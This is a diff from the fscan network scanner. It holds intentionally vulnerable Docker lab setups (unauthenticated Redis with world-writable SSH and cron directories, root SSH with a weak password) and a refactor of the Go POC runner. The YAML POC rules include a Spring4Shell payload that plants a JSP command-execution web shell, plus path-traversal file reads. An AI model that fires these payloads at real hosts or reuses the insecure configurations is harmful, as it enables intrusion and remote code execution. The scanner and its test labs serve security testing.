ENV ORACLE_SID=XE ENV ORACLE_CHARACTERSET=AL32UTF8
ENV ORACLE_PDB=XEPDB1
# 开放1521端口 # 开放1521端口
EXPOSE 1521 EXPOSE 1521 5500
# 健康检查 # 健康检查
HEALTHCHECK --interval=30s --timeout=3s \ HEALTHCHECK --interval=30s --timeout=30s --start-period=5m --retries=3 \
CMD sqlplus -L sys/123456@//localhost:1521/XE as sysdba << EOF CMD nc -z localhost 1521 || exit 1
exit;
EOF

View File

@ -1,15 +1,34 @@
FROM redis:4.0 FROM redis:5.0.1
# 创建必要的目录并设置权限 # 创建测试目录并设置权限
RUN mkdir -p /root/.ssh && \ RUN mkdir -p /root/.ssh && \
mkdir -p /var/spool/cron && \ mkdir -p /var/spool/cron && \
mkdir -p /data && \ mkdir -p /var/spool/cron/crontabs && \
mkdir -p /var/www/html && \
mkdir -p /etc/redis && \
mkdir -p /tmp/test && \
chmod -R 777 /root/.ssh && \ chmod -R 777 /root/.ssh && \
chmod -R 777 /var/spool/cron && \ chmod -R 777 /var/spool/cron && \
chmod -R 777 /data chmod -R 777 /var/spool/cron/crontabs && \
chmod -R 777 /var/www/html && \
chmod -R 777 /etc/redis && \
chmod -R 777 /tmp/test && \
echo "测试目录已创建,可以写入" > /tmp/test/test.txt
COPY redis.conf /usr/local/etc/redis/redis.conf # 配置Redis允许远程连接和任意文件写入
RUN echo "port 6379\n\
bind 0.0.0.0\n\
dir /data\n\
dbfilename dump.rdb\n\
protected-mode no\n\
daemonize no\n\
appendonly no\n\
requirepass \"\"\n\
" > /etc/redis/redis.conf
WORKDIR /data
EXPOSE 6379 EXPOSE 6379
CMD [ "redis-server", "/usr/local/etc/redis/redis.conf" ] # 启动Redis服务器
CMD ["redis-server", "/etc/redis/redis.conf"]

View File

@ -1,15 +1,2 @@
docker pull cassandra:3.11 docker build -t rsync-test .
docker run -d --name rsync-server -p 873:873 rsync-test
docker run -d --name cassandra-test \
-e CASSANDRA_AUTHENTICATOR=AllowAllAuthenticator \
-p 9042:9042 \
-p 9160:9160 \
cassandra:3.11
docker run -d --name cassandra-test \
-e CASSANDRA_AUTHENTICATOR=PasswordAuthenticator \
-e CASSANDRA_PASSWORD=123456 \
-e CASSANDRA_USER=admin \
-p 9042:9042 \
-p 9160:9160 \
cassandra:3.11

View File

@ -11,7 +11,7 @@ RUN mkdir /var/run/sshd
# 允许root用户SSH登录并设置密码 # 允许root用户SSH登录并设置密码
RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config
RUN echo 'root:123456' | chpasswd RUN echo 'root:Aa123456789' | chpasswd
# 开放22端口 # 开放22端口
EXPOSE 22 EXPOSE 22

View File

@ -1,2 +1,2 @@
docker build -t ubuntu-ssh . docker build -t ubuntu-ssh .
docker run -d -p 22:22 ubuntu-ssh docker run -d -p 2222:22 ubuntu-ssh

View File

@ -0,0 +1,2 @@
docker build -t telnet-test .
docker run -d -p 23:23 --name telnet-server telnet-test

View File

@ -59,11 +59,11 @@ func InfoCheck(Url string, CheckData *[]CheckDatas) []string {
// 输出结果 // 输出结果
if len(matchedInfos) > 0 { if len(matchedInfos) > 0 {
result := fmt.Sprintf("发现指纹 目标: %-25v 指纹: %s", Url, matchedInfos) result := fmt.Sprintf("发现指纹 目标: %-25v 指纹: %s", Url, matchedInfos)
Common.LogSuccess(result) Common.LogInfo(result)
return matchedInfos return matchedInfos
} }
return []string{""} return []string{}
} }
// CalcMd5 计算内容的MD5并与指纹库比对 // CalcMd5 计算内容的MD5并与指纹库比对

View File

@ -1,90 +1,171 @@
package WebScan package WebScan
import ( import (
"context"
"embed" "embed"
"errors"
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/WebScan/lib"
"net/http" "net/http"
"net/url" "net/url"
"os" "os"
"path/filepath" "path/filepath"
"strings" "strings"
"sync" "sync"
"time"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/WebScan/lib"
)
// 常量定义
const (
protocolHTTP = "http://"
protocolHTTPS = "https://"
yamlExt = ".yaml"
ymlExt = ".yml"
defaultTimeout = 30 * time.Second
concurrencyLimit = 10 // 并发加载POC的限制
)
// 错误定义
var (
ErrInvalidURL = errors.New("无效的URL格式")
ErrEmptyTarget = errors.New("目标URL为空")
ErrPocNotFound = errors.New("未找到匹配的POC")
ErrPocLoadFailed = errors.New("POC加载失败")
) )
//go:embed pocs //go:embed pocs
var Pocs embed.FS var pocsFS embed.FS
var once sync.Once var (
var AllPocs []*lib.Poc once sync.Once
allPocs []*lib.Poc
)
// WebScan 执行Web漏洞扫描 // WebScan 执行Web漏洞扫描
func WebScan(info *Common.HostInfo) { func WebScan(info *Common.HostInfo) {
once.Do(initpoc) // 初始化POC
once.Do(initPocs)
var pocinfo = Common.Pocinfo // 验证输入
if info == nil {
// 自动构建URL Common.LogError("无效的扫描目标")
if info.Url == "" { return
info.Url = fmt.Sprintf("http://%s:%s", info.Host, info.Ports)
} }
urlParts := strings.Split(info.Url, "/") if len(allPocs) == 0 {
Common.LogError("POC加载失败无法执行扫描")
// 检查切片长度并构建目标URL return
if len(urlParts) >= 3 {
pocinfo.Target = strings.Join(urlParts[:3], "/")
} else {
pocinfo.Target = info.Url
} }
Common.LogDebug(fmt.Sprintf("扫描目标: %s", pocinfo.Target)) // 构建目标URL
target, err := buildTargetURL(info)
if err != nil {
Common.LogError(fmt.Sprintf("构建目标URL失败: %v", err))
return
}
// 如果是直接调用WebPoc没有指定pocName执行所有POC // 使用带超时的上下文
if pocinfo.PocName == "" && len(info.Infostr) == 0 { ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
Common.LogDebug("直接调用WebPoc执行所有POC") defer cancel()
Execute(pocinfo)
} else { // 根据扫描策略执行POC
// 根据指纹信息选择性执行POC if Common.Pocinfo.PocName == "" && len(info.Infostr) == 0 {
if len(info.Infostr) > 0 { // 执行所有POC
for _, infostr := range info.Infostr { executePOCs(ctx, Common.PocInfo{Target: target})
pocinfo.PocName = lib.CheckInfoPoc(infostr) } else if len(info.Infostr) > 0 {
if pocinfo.PocName != "" { // 基于指纹信息执行POC
Common.LogDebug(fmt.Sprintf("根据指纹 %s 执行对应POC", infostr)) scanByFingerprints(ctx, target, info.Infostr)
Execute(pocinfo) } else if Common.Pocinfo.PocName != "" {
} // 基于指定POC名称执行
} executePOCs(ctx, Common.PocInfo{Target: target, PocName: Common.Pocinfo.PocName})
} else if pocinfo.PocName != "" {
// 指定了特定的POC
Common.LogDebug(fmt.Sprintf("执行指定POC: %s", pocinfo.PocName))
Execute(pocinfo)
}
} }
} }
// Execute 执行具体的POC检测 // buildTargetURL 构建规范的目标URL
func Execute(PocInfo Common.PocInfo) { func buildTargetURL(info *Common.HostInfo) (string, error) {
Common.LogDebug(fmt.Sprintf("开始执行POC检测目标: %s", PocInfo.Target)) // 自动构建URL
if info.Url == "" {
info.Url = fmt.Sprintf("%s%s:%s", protocolHTTP, info.Host, info.Ports)
} else if !hasProtocolPrefix(info.Url) {
info.Url = protocolHTTP + info.Url
}
// 解析URL以提取基础部分
parsedURL, err := url.Parse(info.Url)
if err != nil {
return "", fmt.Errorf("%w: %v", ErrInvalidURL, err)
}
return fmt.Sprintf("%s://%s", parsedURL.Scheme, parsedURL.Host), nil
}
// hasProtocolPrefix 检查URL是否包含协议前缀
func hasProtocolPrefix(urlStr string) bool {
return strings.HasPrefix(urlStr, protocolHTTP) || strings.HasPrefix(urlStr, protocolHTTPS)
}
// scanByFingerprints 根据指纹执行POC
func scanByFingerprints(ctx context.Context, target string, fingerprints []string) {
for _, fingerprint := range fingerprints {
if fingerprint == "" {
continue
}
pocName := lib.CheckInfoPoc(fingerprint)
if pocName == "" {
continue
}
executePOCs(ctx, Common.PocInfo{Target: target, PocName: pocName})
}
}
// executePOCs 执行POC检测
func executePOCs(ctx context.Context, pocInfo Common.PocInfo) {
// 验证目标
if pocInfo.Target == "" {
Common.LogError(ErrEmptyTarget.Error())
return
}
// 确保URL格式正确 // 确保URL格式正确
if !strings.HasPrefix(PocInfo.Target, "http://") && !strings.HasPrefix(PocInfo.Target, "https://") { if !hasProtocolPrefix(pocInfo.Target) {
PocInfo.Target = "http://" + PocInfo.Target pocInfo.Target = protocolHTTP + pocInfo.Target
} }
// 验证URL格式 // 验证URL
_, err := url.Parse(PocInfo.Target) _, err := url.Parse(pocInfo.Target)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("无效的URL格式 %v: %v", PocInfo.Target, err)) Common.LogError(fmt.Sprintf("%v %s: %v", ErrInvalidURL, pocInfo.Target, err))
return return
} }
// 创建基础HTTP请求 // 创建基础请求
req, err := http.NewRequest("GET", PocInfo.Target, nil) req, err := createBaseRequest(ctx, pocInfo.Target)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("初始化请求失败 %v: %v", PocInfo.Target, err)) Common.LogError(fmt.Sprintf("创建HTTP请求失败: %v", err))
return return
} }
// 筛选POC
matchedPocs := filterPocs(pocInfo.PocName)
if len(matchedPocs) == 0 {
Common.LogDebug(fmt.Sprintf("%v: %s", ErrPocNotFound, pocInfo.PocName))
return
}
// 执行POC检测
lib.CheckMultiPoc(req, matchedPocs, Common.PocNum)
}
// createBaseRequest 创建带上下文的HTTP请求
func createBaseRequest(ctx context.Context, target string) (*http.Request, error) {
req, err := http.NewRequestWithContext(ctx, "GET", target, nil)
if err != nil {
return nil, err
}
// 设置请求头 // 设置请求头
req.Header.Set("User-agent", Common.UserAgent) req.Header.Set("User-agent", Common.UserAgent)
req.Header.Set("Accept", Common.Accept) req.Header.Set("Accept", Common.Accept)
@ -93,75 +174,150 @@ func Execute(PocInfo Common.PocInfo) {
req.Header.Set("Cookie", Common.Cookie) req.Header.Set("Cookie", Common.Cookie)
} }
// 根据名称筛选POC并执行 return req, nil
pocs := filterPoc(PocInfo.PocName)
Common.LogDebug(fmt.Sprintf("筛选到的POC数量: %d", len(pocs)))
lib.CheckMultiPoc(req, pocs, Common.PocNum)
} }
// initpoc 初始化POC加载 // initPocs 初始化并加载POC
func initpoc() { func initPocs() {
Common.LogDebug("开始初始化POC") allPocs = make([]*lib.Poc, 0)
if Common.PocPath == "" { if Common.PocPath == "" {
Common.LogDebug("从内置目录加载POC") loadEmbeddedPocs()
// 从嵌入的POC目录加载
entries, err := Pocs.ReadDir("pocs")
if err != nil {
Common.LogError(fmt.Sprintf("加载内置POC失败: %v", err))
return
}
// 加载YAML格式的POC文件
for _, entry := range entries {
filename := entry.Name()
if strings.HasSuffix(filename, ".yaml") || strings.HasSuffix(filename, ".yml") {
if poc, err := lib.LoadPoc(filename, Pocs); err == nil && poc != nil {
AllPocs = append(AllPocs, poc)
} else if err != nil {
}
}
}
Common.LogDebug(fmt.Sprintf("内置POC加载完成共加载 %d 个", len(AllPocs)))
} else { } else {
// 从指定目录加载POC loadExternalPocs(Common.PocPath)
Common.LogSuccess(fmt.Sprintf("从目录加载POC: %s", Common.PocPath))
err := filepath.Walk(Common.PocPath, func(path string, info os.FileInfo, err error) error {
if err != nil || info == nil {
return err
}
if !info.IsDir() && (strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml")) {
if poc, err := lib.LoadPocbyPath(path); err == nil && poc != nil {
AllPocs = append(AllPocs, poc)
} else if err != nil {
}
}
return nil
})
if err != nil {
Common.LogError(fmt.Sprintf("加载外部POC失败: %v", err))
}
Common.LogDebug(fmt.Sprintf("外部POC加载完成共加载 %d 个", len(AllPocs)))
} }
} }
// filterPoc 根据POC名称筛选 // loadEmbeddedPocs 加载内置POC
func filterPoc(pocname string) []*lib.Poc { func loadEmbeddedPocs() {
Common.LogDebug(fmt.Sprintf("开始筛选POC筛选条件: %s", pocname)) entries, err := pocsFS.ReadDir("pocs")
if err != nil {
if pocname == "" { Common.LogError(fmt.Sprintf("加载内置POC目录失败: %v", err))
Common.LogDebug(fmt.Sprintf("未指定POC名称返回所有POC: %d 个", len(AllPocs))) return
return AllPocs
} }
// 收集所有POC文件
var pocFiles []string
for _, entry := range entries {
if isPocFile(entry.Name()) {
pocFiles = append(pocFiles, entry.Name())
}
}
// 并发加载POC文件
loadPocsConcurrently(pocFiles, true, "")
}
// loadExternalPocs 从外部路径加载POC
func loadExternalPocs(pocPath string) {
if !directoryExists(pocPath) {
Common.LogError(fmt.Sprintf("POC目录不存在: %s", pocPath))
return
}
// 收集所有POC文件路径
var pocFiles []string
err := filepath.Walk(pocPath, func(path string, info os.FileInfo, err error) error {
if err != nil || info == nil || info.IsDir() {
return nil
}
if isPocFile(info.Name()) {
pocFiles = append(pocFiles, path)
}
return nil
})
if err != nil {
Common.LogError(fmt.Sprintf("遍历POC目录失败: %v", err))
return
}
// 并发加载POC文件
loadPocsConcurrently(pocFiles, false, pocPath)
}
// loadPocsConcurrently 并发加载POC文件
func loadPocsConcurrently(pocFiles []string, isEmbedded bool, pocPath string) {
pocCount := len(pocFiles)
if pocCount == 0 {
return
}
var wg sync.WaitGroup
var mu sync.Mutex
var successCount, failCount int
// 使用信号量控制并发数
semaphore := make(chan struct{}, concurrencyLimit)
for _, file := range pocFiles {
wg.Add(1)
semaphore <- struct{}{} // 获取信号量
go func(filename string) {
defer func() {
<-semaphore // 释放信号量
wg.Done()
}()
var poc *lib.Poc
var err error
// 根据不同的来源加载POC
if isEmbedded {
poc, err = lib.LoadPoc(filename, pocsFS)
} else {
poc, err = lib.LoadPocbyPath(filename)
}
mu.Lock()
defer mu.Unlock()
if err != nil {
failCount++
return
}
if poc != nil {
allPocs = append(allPocs, poc)
successCount++
}
}(file)
}
wg.Wait()
Common.LogBase(fmt.Sprintf("POC加载完成: 总共%d个成功%d个失败%d个",
pocCount, successCount, failCount))
}
// directoryExists 检查目录是否存在
func directoryExists(path string) bool {
info, err := os.Stat(path)
return err == nil && info.IsDir()
}
// isPocFile 检查文件是否为POC文件
func isPocFile(filename string) bool {
lowerName := strings.ToLower(filename)
return strings.HasSuffix(lowerName, yamlExt) || strings.HasSuffix(lowerName, ymlExt)
}
// filterPocs 根据POC名称筛选
func filterPocs(pocName string) []*lib.Poc {
if pocName == "" {
return allPocs
}
// 转换为小写以进行不区分大小写的匹配
searchName := strings.ToLower(pocName)
var matchedPocs []*lib.Poc var matchedPocs []*lib.Poc
for _, poc := range AllPocs { for _, poc := range allPocs {
if strings.Contains(poc.Name, pocname) { if poc != nil && strings.Contains(strings.ToLower(poc.Name), searchName) {
matchedPocs = append(matchedPocs, poc) matchedPocs = append(matchedPocs, poc)
} }
} }
Common.LogDebug(fmt.Sprintf("POC筛选完成匹配到 %d 个", len(matchedPocs)))
return matchedPocs return matchedPocs
} }

View File

@ -27,46 +27,69 @@ type Task struct {
Poc *Poc // POC检测脚本 Poc *Poc // POC检测脚本
} }
// VulnResult 漏洞结果结构体
type VulnResult struct {
Poc *Poc // POC脚本
VulName string // 漏洞名称
Target string // 目标URL
Details map[string]interface{} // 详细信息
}
// CheckMultiPoc 并发执行多个POC检测 // CheckMultiPoc 并发执行多个POC检测
// 参数说明: // 参数说明:
// - req: HTTP请求对象 // - req: HTTP请求对象
// - pocs: POC检测脚本列表 // - pocs: POC检测脚本列表
// - workers: 并发工作协程数量 // - workers: 并发工作协程数量
func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) { func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) {
// 确保至少有一个工作协程
if workers <= 0 { if workers <= 0 {
workers = 1 // 确保至少有一个工作协程 workers = 1
} }
// 创建任务通道缓冲区大小为POC列表长度
tasks := make(chan Task, len(pocs)) tasks := make(chan Task, len(pocs))
var wg sync.WaitGroup var wg sync.WaitGroup
// 启动工作协程池 // 启动指定数量的工作协程池
for i := 0; i < workers; i++ { for i := 0; i < workers; i++ {
wg.Add(1)
go func() { go func() {
defer wg.Done()
// 从任务通道循环获取任务
for task := range tasks { for task := range tasks {
// 执行POC检测返回是否存在漏洞、错误信息和漏洞名称
isVulnerable, err, vulName := executePoc(task.Req, task.Poc) isVulnerable, err, vulName := executePoc(task.Req, task.Poc)
// 处理执行过程中的错误
if err != nil { if err != nil {
wg.Done() Common.LogError(fmt.Sprintf("执行POC错误 %s: %v", task.Poc.Name, err))
continue continue
} }
if isVulnerable { // 仅当通过普通POC规则(非clusterpoc)检测到漏洞时,才创建结果
// 构造详细信息 // 因为clusterpoc已在内部处理了漏洞输出
if isVulnerable && vulName != "" {
// 构造漏洞详细信息
details := make(map[string]interface{}) details := make(map[string]interface{})
details["vulnerability_type"] = task.Poc.Name details["vulnerability_type"] = task.Poc.Name
details["vulnerability_name"] = vulName details["vulnerability_name"] = vulName
// 添加作者信息(如果有)
if task.Poc.Detail.Author != "" { if task.Poc.Detail.Author != "" {
details["author"] = task.Poc.Detail.Author details["author"] = task.Poc.Detail.Author
} }
// 添加参考链接(如果有)
if len(task.Poc.Detail.Links) != 0 { if len(task.Poc.Detail.Links) != 0 {
details["references"] = task.Poc.Detail.Links details["references"] = task.Poc.Detail.Links
} }
// 添加漏洞描述(如果有)
if task.Poc.Detail.Description != "" { if task.Poc.Detail.Description != "" {
details["description"] = task.Poc.Detail.Description details["description"] = task.Poc.Detail.Description
} }
// 保存漏洞结果 // 创建并保存扫描结果
result := &Common.ScanResult{ result := &Common.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: Common.VULN,
@ -76,41 +99,96 @@ func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) {
} }
Common.SaveResult(result) Common.SaveResult(result)
// 控制台输出 // 构造控制台输出的日志信息
logMsg := fmt.Sprintf("目标: %s\n 漏洞类型: %s\n 漏洞名称: %s\n 详细信息:", logMsg := fmt.Sprintf("目标: %s\n 漏洞类型: %s\n 漏洞名称: %s\n 详细信息:",
task.Req.URL, task.Req.URL,
task.Poc.Name, task.Poc.Name,
vulName) vulName)
// 添加作者信息到日志
if task.Poc.Detail.Author != "" { if task.Poc.Detail.Author != "" {
logMsg += "\n\tauthor:" + task.Poc.Detail.Author logMsg += "\n\t作者:" + task.Poc.Detail.Author
}
if len(task.Poc.Detail.Links) != 0 {
logMsg += "\n\tlinks:" + strings.Join(task.Poc.Detail.Links, "\n")
}
if task.Poc.Detail.Description != "" {
logMsg += "\n\tdescription:" + task.Poc.Detail.Description
} }
// 添加参考链接到日志
if len(task.Poc.Detail.Links) != 0 {
logMsg += "\n\t参考链接:" + strings.Join(task.Poc.Detail.Links, "\n")
}
// 添加描述信息到日志
if task.Poc.Detail.Description != "" {
logMsg += "\n\t描述:" + task.Poc.Detail.Description
}
// 输出成功日志
Common.LogSuccess(logMsg) Common.LogSuccess(logMsg)
} }
wg.Done()
} }
}() }()
} }
// 分发任务 // 分发所有POC任务到通道
for _, poc := range pocs { for _, poc := range pocs {
wg.Add(1)
tasks <- Task{ tasks <- Task{
Req: req, Req: req,
Poc: poc, Poc: poc,
} }
} }
// 等待所有任务完成 // 关闭任务通道
wg.Wait()
close(tasks) close(tasks)
// 等待所有POC检测任务完成
wg.Wait()
}
// createVulnDetails 创建漏洞详情信息
func createVulnDetails(poc *Poc, vulName string) map[string]interface{} {
details := make(map[string]interface{})
details["vulnerability_type"] = poc.Name
details["vulnerability_name"] = vulName
// 添加作者信息(如果有)
if poc.Detail.Author != "" {
details["author"] = poc.Detail.Author
}
// 添加参考链接(如果有)
if len(poc.Detail.Links) != 0 {
details["references"] = poc.Detail.Links
}
// 添加漏洞描述(如果有)
if poc.Detail.Description != "" {
details["description"] = poc.Detail.Description
}
return details
}
// buildLogMessage 构建漏洞日志消息
func buildLogMessage(result *VulnResult) string {
logMsg := fmt.Sprintf("目标: %s\n 漏洞类型: %s\n 漏洞名称: %s\n 详细信息:",
result.Target,
result.Poc.Name,
result.VulName)
// 添加作者信息到日志
if result.Poc.Detail.Author != "" {
logMsg += "\n\t作者:" + result.Poc.Detail.Author
}
// 添加参考链接到日志
if len(result.Poc.Detail.Links) != 0 {
logMsg += "\n\t参考链接:" + strings.Join(result.Poc.Detail.Links, "\n")
}
// 添加描述信息到日志
if result.Poc.Detail.Description != "" {
logMsg += "\n\t描述:" + result.Poc.Detail.Description
}
return logMsg
} }
// executePoc 执行单个POC检测 // executePoc 执行单个POC检测
@ -170,8 +248,13 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
return success, err, "" return success, err, ""
} }
return executeRules(oReq, p, variableMap, req, env)
}
// executeRules 执行POC规则并返回结果
func executeRules(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (bool, error, string) {
// 处理单个规则的函数 // 处理单个规则的函数
DealWithRule := func(rule Rules) (bool, error) { executeRule := func(rule Rules) (bool, error) {
Headers := cloneMap(rule.Headers) Headers := cloneMap(rule.Headers)
// 替换变量 // 替换变量
@ -251,9 +334,9 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
} }
// 处理规则组的函数 // 处理规则组的函数
DealWithRules := func(rules []Rules) bool { executeRuleSet := func(rules []Rules) bool {
for _, rule := range rules { for _, rule := range rules {
flag, err := DealWithRule(rule) flag, err := executeRule(rule)
if err != nil || !flag { if err != nil || !flag {
return false return false
} }
@ -264,17 +347,18 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
// 执行检测规则 // 执行检测规则
success := false success := false
if len(p.Rules) > 0 { if len(p.Rules) > 0 {
success = DealWithRules(p.Rules) success = executeRuleSet(p.Rules)
return success, nil, ""
} else { } else {
for _, item := range p.Groups { for _, item := range p.Groups {
name, rules := item.Key, item.Value name, rules := item.Key, item.Value
if success = DealWithRules(rules); success { if success = executeRuleSet(rules); success {
return true, nil, name return true, nil, name
} }
} }
} }
return success, nil, "" return false, nil, ""
} }
// doSearch 在响应体中执行正则匹配并提取命名捕获组 // doSearch 在响应体中执行正则匹配并提取命名捕获组
@ -378,6 +462,61 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{},
var strMap StrMap // 存储成功的参数组合 var strMap StrMap // 存储成功的参数组合
var shiroKeyCount int // shiro key测试计数 var shiroKeyCount int // shiro key测试计数
// 记录漏洞的辅助函数,统一保存结果和输出日志
recordVulnerability := func(targetURL string, params StrMap, skipSave bool) {
// 构造详细信息
details := make(map[string]interface{})
details["vulnerability_type"] = p.Name
details["vulnerability_name"] = p.Name // 使用POC名称作为漏洞名称
// 添加作者信息(如果有)
if p.Detail.Author != "" {
details["author"] = p.Detail.Author
}
// 添加参考链接(如果有)
if len(p.Detail.Links) != 0 {
details["references"] = p.Detail.Links
}
// 添加漏洞描述(如果有)
if p.Detail.Description != "" {
details["description"] = p.Detail.Description
}
// 添加参数信息(如果有)
if len(params) > 0 {
paramMap := make(map[string]string)
for _, item := range params {
paramMap[item.Key] = item.Value
}
details["parameters"] = paramMap
}
// 保存漏洞结果(除非明确指示跳过)
if !skipSave {
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: targetURL,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(result)
}
// 生成日志消息
var logMsg string
if p.Name == "poc-yaml-backup-file" || p.Name == "poc-yaml-sql-file" {
logMsg = fmt.Sprintf("检测到漏洞 %s %s", targetURL, p.Name)
} else {
logMsg = fmt.Sprintf("检测到漏洞 %s %s 参数:%v", targetURL, p.Name, params)
}
// 输出成功日志
Common.LogSuccess(logMsg)
}
// 遍历POC规则 // 遍历POC规则
for ruleIndex, rule := range p.Rules { for ruleIndex, rule := range p.Rules {
// 检查是否需要进行参数Fuzz测试 // 检查是否需要进行参数Fuzz测试
@ -497,22 +636,20 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{},
} }
if success { if success {
targetURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path)
// 处理成功情况 // 处理成功情况
if currentRule.Continue { if currentRule.Continue {
targetURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path) // 使用Continue标志时记录但继续测试其他参数
if p.Name == "poc-yaml-backup-file" || p.Name == "poc-yaml-sql-file" { recordVulnerability(targetURL, currentParams, false)
Common.LogSuccess(fmt.Sprintf("检测到漏洞 %s %s", targetURL, p.Name))
} else {
Common.LogSuccess(fmt.Sprintf("检测到漏洞 %s %s 参数:%v", targetURL, p.Name, currentParams))
}
continue continue
} }
// 记录成功的参数组合 // 记录成功的参数组合
strMap = append(strMap, currentParams...) strMap = append(strMap, currentParams...)
if ruleIndex == len(p.Rules)-1 { if ruleIndex == len(p.Rules)-1 {
targetURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path) // 最终规则成功,记录完整的结果并返回
Common.LogSuccess(fmt.Sprintf("检测到漏洞 %s %s 参数:%v", targetURL, p.Name, strMap)) recordVulnerability(targetURL, strMap, false)
return false, nil return false, nil
} }
break paramLoop break paramLoop
@ -698,11 +835,15 @@ func cloneRules(tags Rules) Rules {
FollowRedirects: tags.FollowRedirects, FollowRedirects: tags.FollowRedirects,
Expression: tags.Expression, Expression: tags.Expression,
Headers: cloneMap(tags.Headers), Headers: cloneMap(tags.Headers),
Continue: tags.Continue,
} }
} }
// cloneMap 深度复制字符串映射 // cloneMap 深度复制字符串映射
func cloneMap(tags map[string]string) map[string]string { func cloneMap(tags map[string]string) map[string]string {
if tags == nil {
return nil
}
cloneTags := make(map[string]string, len(tags)) cloneTags := make(map[string]string, len(tags))
for key, value := range tags { for key, value := range tags {
cloneTags[key] = value cloneTags[key] = value

View File

@ -1,12 +1,14 @@
name: poc-yaml-etcd-v3-unauth name: ETCD V3未授权
rules: rules:
- method: GET - method: POST
path: /version path: /v3/kv/range
follow_redirects: false follow_redirects: false
Content-Type: application/json;charset=utf-8
expression: | expression: |
response.status == 200 && response.body.bcontains(b"etcdserver") response.status == 200 && response.body.bcontains(b"cluster") && response.body.bcontains(b"head")
body: |
{"key": "bmFtZQ=="}
detail: detail:
author: rj45(https://github.com/INT2ECALL) author: rj45(https://github.com/INT2ECALL)
links: links:
- https://networksec.blog.csdn.net/article/details/144912358?spm=1001.2014.3001.5502 - https://networksec.blog.csdn.net/article/details/144912358?spm=1001.2014.3001.5502

View File

@ -15,7 +15,7 @@ rules:
body: "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22data%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22word%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" body: "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22data%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22word%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
follow_redirects: true follow_redirects: true
expression: | expression: |
response.status == 200 response.status == 200
- method: GET - method: GET
path: /tomcatwar.jsp?data=j&word=echo%20{r1} path: /tomcatwar.jsp?data=j&word=echo%20{r1}
follow_redirects: false follow_redirects: false
@ -24,4 +24,4 @@ rules:
detail: detail:
author: marmot author: marmot
links: links:
- https://github.com/Mr-xn/spring-core-rce - https://github.com/Mr-xn/spring-core-rce

View File

@ -3,19 +3,19 @@ groups:
spring1: spring1:
- method: GET - method: GET
path: /manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../ path: /manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../
expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support") && response.body.bcontains(b"fonts") expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support") && response.body.bcontains(b"fonts") && !response.body.bcontains(b"<html")
spring2: spring2:
- method: GET - method: GET
path: /log/view?filename=/windows/win.ini&base=../../../../../../../../../../ path: /log/view?filename=/windows/win.ini&base=../../../../../../../../../../
expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support") && response.body.bcontains(b"fonts") expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support") && response.body.bcontains(b"fonts") && !response.body.bcontains(b"<html")
spring3: spring3:
- method: GET - method: GET
path: /manage/log/view?filename=/etc/hosts&base=../../../../../../../../../../ path: /manage/log/view?filename=/etc/hosts&base=../../../../../../../../../../
expression: response.status == 200 && response.body.bcontains(b"127.0.0.1") && response.body.bcontains(b"localhost") expression: response.status == 200 && response.body.bcontains(b"127.0.0.1") && response.body.bcontains(b"localhost") && !response.body.bcontains(b"<html")
spring4: spring4:
- method: GET - method: GET
path: /log/view?filename=/etc/hosts&base=../../../../../../../../../../ path: /log/view?filename=/etc/hosts&base=../../../../../../../../../../
